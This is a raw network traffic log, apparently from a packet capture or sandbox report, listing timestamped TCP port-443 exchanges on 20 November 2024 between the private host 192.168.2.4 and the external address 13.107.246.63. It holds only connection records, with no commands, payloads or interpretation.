Nov 20, 2024 21:05:31.391036987 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.393470049 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.393477917 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.778697014 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.778783083 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.778831005 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.779023886 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.779040098 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.779053926 CET	49876	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.779061079 CET	443	49876	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.782017946 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.782047033 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.782109022 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.782275915 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.782288074 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.819133043 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.819205046 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.819250107 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.819355965 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.819364071 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.819389105 CET	49878	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.819394112 CET	443	49878	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.821885109 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.821923971 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.821981907 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.822115898 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.822130919 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.847800970 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.847960949 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.848017931 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.848143101 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.848155975 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.848175049 CET	49879	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.848181963 CET	443	49879	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.850363016 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.850375891 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:31.850436926 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.850550890 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:31.850559950 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.236300945 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.238302946 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.238336086 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.238903999 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.238910913 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.710444927 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.710530996 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.710604906 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.710805893 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.710825920 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.710839033 CET	49877	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.710844994 CET	443	49877	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.714040041 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.714082003 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:32.714279890 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.714433908 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:32.714443922 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.091599941 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.092158079 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.092197895 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.092784882 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.092792988 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.530575037 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.530752897 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.530823946 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.530929089 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.530958891 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.530975103 CET	49880	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.530982971 CET	443	49880	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.533885002 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.533925056 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.534008026 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.535557032 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.535569906 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.569365978 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.579174995 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.579219103 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.579752922 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.579766035 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.637274981 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.670190096 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.671463966 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.671498060 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.672166109 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.672178030 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.672595024 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.672660112 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:33.673230886 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:33.673243999 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.016860962 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.016953945 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.017034054 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.051264048 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.051264048 CET	49881	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.051343918 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.051373959 CET	443	49881	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.059880018 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.059936047 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.060003042 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.060323000 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.060338974 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.081079960 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.081249952 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.081322908 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.114396095 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.114479065 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.114516973 CET	49883	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.114536047 CET	443	49883	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.125253916 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.125281096 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.125348091 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.129055977 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.129069090 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.139730930 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.139818907 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.139878035 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.140142918 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.140177011 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.140203953 CET	49882	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.140218973 CET	443	49882	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.152976990 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.153028965 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.153099060 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.153765917 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.153803110 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.435595989 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.436516047 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.436558008 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.437113047 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.437119961 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.891865015 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.891964912 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.892082930 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.892275095 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.892290115 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.892302990 CET	49884	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.892307997 CET	443	49884	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.896328926 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.896377087 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:34.896560907 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.896766901 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:34.896781921 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.516170025 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.517096996 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.517132044 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.518172979 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.518189907 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.846276999 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.846987963 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.847090960 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.847482920 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.847497940 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.903079033 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.903594971 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.903614998 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.904249907 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.904257059 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.990396023 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.990488052 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.990576029 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.990745068 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.990761042 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.990772009 CET	49885	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.990777969 CET	443	49885	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.993832111 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.993845940 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:35.993957996 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.994153976 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:35.994168997 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.002706051 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.003149986 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.003160000 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.003587961 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.003592014 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.294862032 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.294888020 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.294950962 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.294991016 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.295026064 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.333772898 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.333822966 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.333861113 CET	49886	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.333870888 CET	443	49886	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.341489077 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.341564894 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.341636896 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.379465103 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.379492998 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.379518032 CET	49888	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.379524946 CET	443	49888	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.458029985 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.458204985 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.458281994 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.480408907 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.480423927 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.480432987 CET	49887	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.480437994 CET	443	49887	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.564353943 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.564404011 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.564476967 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.595415115 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.595463991 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.595573902 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.692831993 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.693981886 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.694031954 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.694087982 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.694236040 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.694259882 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.694681883 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.694699049 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.695590019 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.695641994 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.738306999 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.763828039 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.763851881 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:36.764256001 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:36.764261007 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176419020 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176455975 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176512003 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.176532030 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176548004 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176604033 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.176731110 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.176750898 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.176775932 CET	49889	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.176784039 CET	443	49889	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.180110931 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.180125952 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.180497885 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.180653095 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.180660009 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.780760050 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.781430006 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.781446934 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:37.782088041 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:37.782093048 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.231569052 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.231590033 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.231646061 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.231662035 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.231698990 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.231911898 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.231919050 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.231946945 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.232172012 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.232209921 CET	443	49890	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.232279062 CET	49890	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.235129118 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.235177040 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.235385895 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.235570908 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.235582113 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.440450907 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.442250013 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.442272902 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.442742109 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.442747116 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.528115988 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.528790951 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.528822899 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.529395103 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.529402971 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.599397898 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.600023031 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.600043058 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.600625038 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.600631952 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.900502920 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.903553963 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.903613091 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.903672934 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.903693914 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.903706074 CET	49891	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.903713942 CET	443	49891	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.908255100 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.908329964 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.908411980 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.909044981 CET	49897	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.909079075 CET	443	49897	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.929482937 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.930047035 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.930088997 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.930615902 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.930624962 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.991921902 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.991981983 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.992033958 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.992050886 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.992260933 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.992279053 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.992285967 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.992700100 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.992786884 CET	443	49893	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.992846012 CET	49893	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.995393991 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.995448112 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:38.995620966 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.995907068 CET	49898	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:38.995923996 CET	443	49898	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.057496071 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.057579041 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.057744980 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.057912111 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.057934999 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.057977915 CET	49892	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.057985067 CET	443	49892	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.061144114 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.061196089 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.061382055 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.061445951 CET	49899	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.061460018 CET	443	49899	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.384711981 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.384783983 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.384953976 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.385107994 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.385133028 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.385147095 CET	49894	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.385154009 CET	443	49894	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.387871027 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.387929916 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:39.388006926 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.388151884 CET	49900	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:39.388170958 CET	443	49900	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.096452951 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.097261906 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.097284079 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.097771883 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.097779036 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.539853096 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.539940119 CET	443	49895	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.540254116 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.540254116 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.540254116 CET	49895	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.543127060 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.543181896 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.543250084 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.543401003 CET	49901	443	192.168.2.4	13.107.246.63
Nov 20, 2024 21:05:40.543417931 CET	443	49901	13.107.246.63	192.168.2.4
Nov 20, 2024 21:05:40.629493952 CET	443	49897	13.107.246.63	192.168.2.4
